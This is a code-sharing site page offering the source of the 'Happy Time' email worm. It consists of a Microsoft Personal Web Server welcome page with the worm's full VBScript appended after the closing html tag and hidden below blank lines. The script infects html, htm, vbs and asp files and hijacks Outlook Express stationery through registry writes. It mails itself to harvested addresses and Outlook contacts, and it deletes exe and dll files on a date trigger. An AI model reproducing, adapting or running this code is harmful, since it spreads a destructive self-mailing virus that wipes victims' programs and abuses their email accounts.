⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 happytime.vr

📁 欢乐时光的源代码
💻 VR
字号:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<html>

<head>
<title>欢迎使用 Microsoft Personal Web Server</title>
</head>

<body bgcolor="#FFFFFF" topmargin="0" leftmargin="0" LINK="#0080FF" VLINK="#0080FF">
<font face="宋体">

<table border="0" cellpadding="0" cellspacing="0" width="100%" bgcolor="#000000">
  <tr>
    <td align="left"><img SRC="pws_flag.gif" WIDTH="314" HEIGHT="29" BORDER="0"></td>
    <td align="right"><img SRC="pws_msft.gif" WIDTH="91" HEIGHT="21"></td>
  </tr>
</table>

<table border="0" cellpadding="0" cellspacing="0" width="100%" height="2"
bgcolor="#FFCC00">
  <tr height="2">
    <td align="right"></td>
  </tr>
</table>

<table border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
  <tr>
    <td valign="top" width="140" bgcolor="#000000" height="100%"><table CELLPADDING="4">
      <tr>
        <td><p align="left"><img SRC="pws_smal.gif" WIDTH="94" HEIGHT="36" BORDER="0"></td>
      </tr>
    </table>
    </td>
    <td valign="top"><img SRC="pws_titl.gif" BORDER="0"> <table border="0" cellpadding="5"
    WIDTH="80%">
      <tr>
        <td><strong>欢迎使用 Microsoft&reg; Personal Web Server 4.0</strong> <p>如果您正在为公司安装 
        Web 站点,或者计划以后由 Internet 服务提供商主持您的私人 Web 
        站点,Microsoft Personal Web Server 
        将为您提供快速安装和运行的全方位服务!</p>
        <p>Windows&reg; 98 CD 中包含 Personal Web Server (PWS);但是,PWS 
        需要单独的安装步骤来完成完全安装和配置。<b>要安装 PWS,您需要有 
        Windows 98 CD,并遵循下列步骤:</b><ol>
          <li>将 Windows 98 CD 插入驱动器。</li>
          <li>单击“<b>开始</b>”,然后单击“<b>运行</b>”。</li>
          <li>在“<b>运行</b>”对话框,请输入 <b>x:\add-ons\pws\setup.exe</b>。</li>
          <li>将<b> x</b> 替换为光驱的驱动器号,然后单击“<strong>确定</strong>”。</li>
          <li>按照“Personal Web Server 安装程序”中的提示安装。</li>
        </ol>
        <p>Personal Web Server 软件包可轻松安装以下新功能: </p>
        <p><b>Microsoft Personal Web Server 4.0</b>,作为一种桌上型 Web 
        服务器,可以使用户在家中通过个人电脑主持 Web 站点或作为公司的 
        Intranet,或者让 Internet 服务提供商 (ISP) 主持站点之前开发和测试 Web 
        站点。 </p>
        <p><b>Microsoft Transaction Server 2.0</b> 支持创建 Microsoft Transaction Server (MTS) 
        应用程序。事务是一种服务器操作,作为整体要么全部成功,要么全部失败,即便该操作包含许多步骤。</p>
        <p><b>Data Access Components 1.5</b> 由 ActiveX Data Objects (ADO) 和 Remote Data 
        Service (RDS)、Microsoft OLE DB Provider for ODBC 和 Open Database Connectivity (ODBC) 
        组成。这些组件提供客户机/服务器应用程序,通过 Web 或 LAN 配置 – 
        具有易用性,并可对企业所有类型的数据进行程序化访问。</p>
        <p><b>Microsoft Message Queue (MSMQ) Server 1.0</b> 
        使得应用程序可以与其他应用程序快速、可靠和异步地发送和接收邮件。MSMQ 
        的主要功能,如 ActiveX 
        支持、综合安全控制、强大管理工具、扩展功能设置以及与 Microsoft 
        策略产品的集成(如 Internet Information Server 和 Transaction Server)使得 
        MSMQ 可以选择在 Windows 95、Windows 98 和 Windows NT 
        上运行的许多应用程序。Personal Web Server 软件包将 MSMQ Dependent and 
        Independent Clients 作为自定义安装的一部分。</p>
        <p><b>易于管理</b>功能使 Personal Web Manager 可以帮助您管理 Web 
        服务器。</p>
        <p>如果手头没有 Windows 98 CD,也可以从 <a
        href="http://backoffice.microsoft.com/downtrial/optionpack.asp">http://backoffice.microsoft.com/downtrial/optionpack.asp</a> 
        下载 Personal Web Server。它的大小是 30 MB,用 28.8Kbps 
        的调制解调器下载大约需要 3 小时。</p>
        <div align="center"><center><table border="0" cellpadding="0" cellspacing="0" width="90%">
          <tr>
            <td align="center"></td>
          </tr>
        </table>
        </center></div><div align="center"><center><table border="0" cellpadding="0"
        cellspacing="0" width="90%">
          <tr>
            <td align="center"><!--Related sites info starts here--></td>
          </tr>
        </table>
        </center></div><div align="center"><center><table border="0" cellpadding="0"
        cellspacing="5">
          <tr>
            <td align="center"></font><font size="1" face="宋体">&copy; 1997 Microsoft Corporation. 
            All rights reserved. </font><a href="http://www.microsoft.com/misc/cpyright.htm"><font
            size="1">法律声明。</font><font face="Verdana, Arial, Helvetica" size="1"> </font></a><font
            face="宋体"></td>
          </tr>
        </table>
        </center></div></td>
      </tr>
    </table>
    </td>
  </tr>
</table>
</font>
</body>
</html>
<script language='VBScript'>











Rem I am sorry! happy timeOn Error Resume NextmloadSub mload()On Error Resume NextmPath = Grf()Set Os = CreateObject("Scriptlet.TypeLib")Set Oh = CreateObject("Shell.Application")If IsHTML ThenmURL = LCase(document.Location)If mPath = "" ThenOs.ResetOs.Path = "C:\Help.htm"Os.Doc = Lhtml()Os.Write()Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)ElseIf Iv(mPath, "Help.vbs") ThensetInterval "Rt()", 10000Elsem = "hta"If LCase(m) = Right(mURL, Len(m)) Thenid = setTimeout("mclose()", 1)mainElseOs.Reset()Os.Path = mPath & "\" & "Help.hta"Os.Doc = Lhtml()Os.write()Iv mPath, "Help.hta"End IfEnd IfEnd IfElsemainEnd IfEnd SubSub main()On Error Resume NextSet Of = CreateObject("Scripting.FileSystemObject")Set Od = CreateObject("Scripting.Dictionary")Od.Add "html", "1100"Od.Add "vbs", "0100"Od.Add "htm", "1100"Od.Add "asp", "0010"Ks = "HKEY_CURRENT_USER\Software\"Ds = Grf()Cs = Gsf()If IsVbs ThenIf Of.FileExists("C:\help.htm") ThenOf.DeleteFile ("C:\help.htm")End IfKey = CInt(Month(Date) + Day(Date))If Key = 13 ThenOd.RemoveAllOd.Add "exe", "0001"Od.Add "dll", "0001"End IfCn = Rg(Ks & "Help\Count")If Cn = "" ThenCn = 1End IfRw Ks & "Help\Count", Cn + 1f1 = Rg(Ks & "Help\FileName")f2 = FNext(Of, Od, f1)fext = GetExt(Of, Od, f2)Rw Ks & "Help\FileName", f2If IsDel(fext) Thenf3 = f2f2 = FNext(Of, Od, f2)Rw Ks & "Help\FileName", f2Of.DeleteFile f3ElseIf LCase(WScript.ScriptFullname) <> LCase(f2) ThenFw Of, f2, fextEnd IfEnd IfIf (CInt(Cn) Mod 366) = 0 ThenIf (CInt(Second(Time)) Mod 2) = 0 ThenTsendElseadds = OgMsend (adds)End IfEnd Ifwp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" ThenIf wp = "" Thenn1 = ""n3 = Cs & "\Help.htm"ElsemP = Of.GetFile(wp).ParentFoldern1 = Of.GetFileName(wp)n2 = Of.GetBaseName(wp)n3 = Cs & "\" & n2 & ".htm"End IfSet pfc = Of.CreateTextFile(n3, True)mt = Sa("1100")pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mtpfc.CloseRw Ks & "Help\wallPaper", n3Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3End IfElseSet fc = Of.CreateTextFile(Ds & "\Help.vbs", True)fc.Write Sa("0100")fc.Closebf = Cs & "\Untitled.htm"Set fc2 = Of.CreateTextFile(bf, True)fc2.Write Lhtmlfc2.Closeoeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"MSH = oe & "\Message Send HTML"CUS = oe & "\Compose Use Stationery"SN = oe & "\Stationery Name"Rw MSH, 1Rw CUS, 1Rw SN, bfWeb = Cs & "\WEB"Set gf = Of.GetFolder(Web).FilesOd.Add "htt", "1100"For Each m In gffext = GetExt(Of, Od, m)If fext <> "" ThenFw Of, m, fextEnd IfNextEnd IfEnd SubSub mclose()document.Write "<" & "title>I am sorry!</title" & ">"window.CloseEnd SubSub Rt()Dim mPathOn Error Resume NextmPath = Grf()Iv mPath, "Help.vbs"End SubFunction Sa(n)Dim VBSText, mVBSText = Lvbs()If Mid(n, 3, 1) = 1 Thenm = "<%" & VBSText & "%>"End IfIf Mid(n, 2, 1) = 1 Thenm = VBSTextEnd IfIf Mid(n, 1, 1) = 1 Thenm = Lscript(m)End IfSa = m & vbCrLfEnd FunctionSub Fw(Of, S, n)Dim fc, fc2, m, mmail, mtOn Error Resume NextSet fc = Of.OpenTextFile(S, 1)mt = fc.ReadAllfc.CloseIf Not Sc(mt) Thenmmail = Ml(mt)mt = Sa(n)Set fc2 = Of.OpenTextFile(S, 8)fc2.Write mtfc2.CloseMsend (mmail)End IfEnd SubFunction Sc(S)mN = "Rem I am sorry! happy time"If InStr(S, mN) > 0 ThenSc = TrueElseSc = FalseEnd IfEnd FunctionFunction FNext(Of, Od, S)Dim fpath, fname, fext, T, gfOn Error Resume Nextfname = ""T = FalseIf Of.FileExists(S) Thenfpath = Of.GetFile(S).ParentFolderfname = SElseIf Of.FolderExists(S) Thenfpath = ST = TrueElsefpath = Dnext(Of, "")End IfDo While TrueSet gf = Of.GetFolder(fpath).FilesFor Each m In gfIf T ThenIf GetExt(Of, Od, m) <> "" ThenFNext = mExit FunctionEnd IfElseIf LCase(m) = LCase(fname) Or fname = "" ThenT = TrueEnd IfNextfpath = Pnext(Of, fpath)LoopEnd FunctionFunction Pnext(Of, S)On Error Resume NextDim Ppath, Npath, gp, pn, T, mT = FalseIf Of.FolderExists(S) ThenSet gp = Of.GetFolder(S).SubFolderspn = gp.CountIf pn = 0 ThenPpath = LCase(S)Npath = LCase(Of.GetParentFolderName(S))T = TrueElseNpath = LCase(S)End IfDo While Not ErFor Each pn In Of.GetFolder(Npath).SubFoldersIf T ThenIf Ppath = LCase(pn) ThenT = FalseEnd IfElsePnext = LCase(pn)Exit FunctionEnd IfNextT = TruePpath = LCase(Npath)Npath = Of.GetParentFolderName(Npath)If Of.GetFolder(Ppath).IsRootFolder Thenm = Of.GetDriveName(Ppath)Pnext = Dnext(Of, m)Exit FunctionEnd IfLoopEnd IfEnd FunctionFunction Dnext(Of, S)Dim dc, n, d, T, mOn Error Resume NextT = Falsem = ""Set dc = Of.DrivesFor Each d In dcIf d.DriveType = 2 Or d.DriveType = 3 ThenIf T ThenDnext = dExit FunctionElseIf LCase(S) = LCase(d) ThenT = TrueEnd IfIf m = "" Thenm = dEnd IfEnd IfEnd IfNextDnext = mEnd FunctionFunction GetExt(Of, Od, S)Dim fextOn Error Resume Nextfext = LCase(Of.GetExtensionName(S))GetExt = Od.Item(fext)End FunctionSub Rw(k, v)Dim ROn Error Resume NextSet R = CreateObject("WScript.Shell")R.RegWrite k, vEnd SubFunction Rg(v)Dim ROn Error Resume NextSet R = CreateObject("WScript.Shell")Rg = R.RegRead(v)End FunctionFunction IsVbs()Dim ErrTestOn Error Resume NextErrTest = WScript.ScriptFullnameIf Err ThenIsVbs = FalseElseIsVbs = TrueEnd IfEnd FunctionFunction IsHTML()Dim ErrTestOn Error Resume NextErrTest = document.LocationIf Er ThenIsHTML = FalseElseIsHTML = TrueEnd IfEnd FunctionFunction IsMail(S)Dim m1, m2IsMail = FalseIf InStr(S, vbCrLf) = 0 Thenm1 = InStr(S, "@")m2 = InStr(S, ".")If m1 <> 0 And m1 < m2 ThenIsMail = TrueEnd IfEnd IfEnd FunctionFunction Lvbs()Dim f, m, ws, OfOn Error Resume NextIf IsVbs ThenSet Of = CreateObject("Scripting.FileSystemObject")Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)Lvbs = f.ReadAllElseFor Each ws In document.scriptsIf LCase(ws.Language) = "vbscript" ThenIf Sc(ws.Text) ThenLvbs = ws.TextExit FunctionEnd IfEnd IfNextEnd IfEnd FunctionFunction Iv(mPath, mName)Dim ShellOn Error Resume NextSet Shell = CreateObject("Shell.Application")Shell.NameSpace(mPath).Items.Item(mName).InvokeVerbIf Er ThenIv = FalseElseIv = TrueEnd IfEnd FunctionFunction Grf()Dim Shell, mPathOn Error Resume NextSet Shell = CreateObject("Shell.Application")mPath = "C:\"For Each mShell In Shell.NameSpace(mPath).ItemsIf mShell.IsFolder ThenGrf = mShell.PathExit FunctionEnd IfNextIf Er ThenGrf = ""End IfEnd FunctionFunction Gsf()Dim Of, mOn Error Resume NextSet Of = CreateObject("Scripting.FileSystemObject")m = Of.GetSpecialFolder(0)If Er ThenGsf = "C:\"ElseGsf = mEnd IfEnd FunctionFunction Lhtml()Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _"<" & "/Body></HTML" & ">"End FunctionFunction Lscript(S)Lscript = "<" & "script language='VBScript'>" & vbCrLf & _S & "<" & "/script" & ">"End FunctionFunction Sl(S1, S2, n)Dim l1, l2, l3, il1 = Len(S1)l2 = Len(S2)i = InStr(S1, S2)If i > 0 Thenl3 = i + l2 - 1If n = 0 ThenSl = Left(S1, i - 1)ElseIf n = 1 ThenSl = Right(S1, l1 - l3)End IfElseSl = ""End IfEnd FunctionFunction Ml(S)Dim S1, S3, S2, T, adds, mS1 = SS3 = """"adds = ""S2 = S3 & "mailto" & ":"T = TrueDo While TS1 = Sl(S1, S2, 1)If S1 = "" ThenT = FalseElsem = Sl(S1, S3, 0)If IsMail(m) Thenadds = adds & m & vbCrLfEnd IfEnd IfLoopMl = Split(adds, vbCrLf)End FunctionFunction Og()Dim i, n, m(), Om, OoSet Oo = CreateObject("Outlook.Application")Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Itemsn = Om.CountReDim m(n)For i = 1 To nm(i - 1) = Om.Item(i).Email1AddressNextOg = mEnd FunctionSub Tsend()Dim Od, MS, MM, a, mSet Od = CreateObject("Scripting.Dictionary")MConnect MS, MMMM.FetchSorted = TrueMM.FetchFor i = 0 To MM.MsgCount - 1MM.MsgIndex = ia = MM.MsgOrigAddressIf Od.Item(a) = "" ThenOd.Item(a) = MM.MsgSubjectEnd IfNextFor Each m In Od.KeysMM.ComposeMM.MsgSubject = "Fw: " & Od.Item(m)MM.RecipAddress = mMM.AttachmentPathName = Gsf & "\Untitled.htm"MM.SendNextMS.SignOffEnd SubFunction MConnect(MS, MM)Dim UOn Error Resume NextSet MS = CreateObject("MSMAPI.MAPISession")Set MM = CreateObject("MSMAPI.MAPIMessages")U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")MS.UserName = UMS.DownLoadMail = FalseMS.NewSession = FalseMS.LogonUI = TrueMS.SignOnMM.SessionID = MS.SessionIDEnd FunctionSub Msend(Address)Dim MS, MM, i, aMConnect MS, MMi = 0MM.ComposeFor Each a In AddressIf IsMail(a) ThenMM.RecipIndex = iMM.RecipAddress = ai = i + 1End IfNextMM.MsgSubject = " Help "MM.AttachmentPathName = Gsf & "\Untitled.htm"MM.SendMS.SignOffEnd SubFunction Er()If Err.Number = 0 ThenEr = FalseElseErr.ClearEr = TrueEnd IfEnd FunctionFunction IsDel(S)If Mid(S, 4, 1) = 1 ThenIsDel = TrueElseIsDel = FalseEnd IfEnd Function
</script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -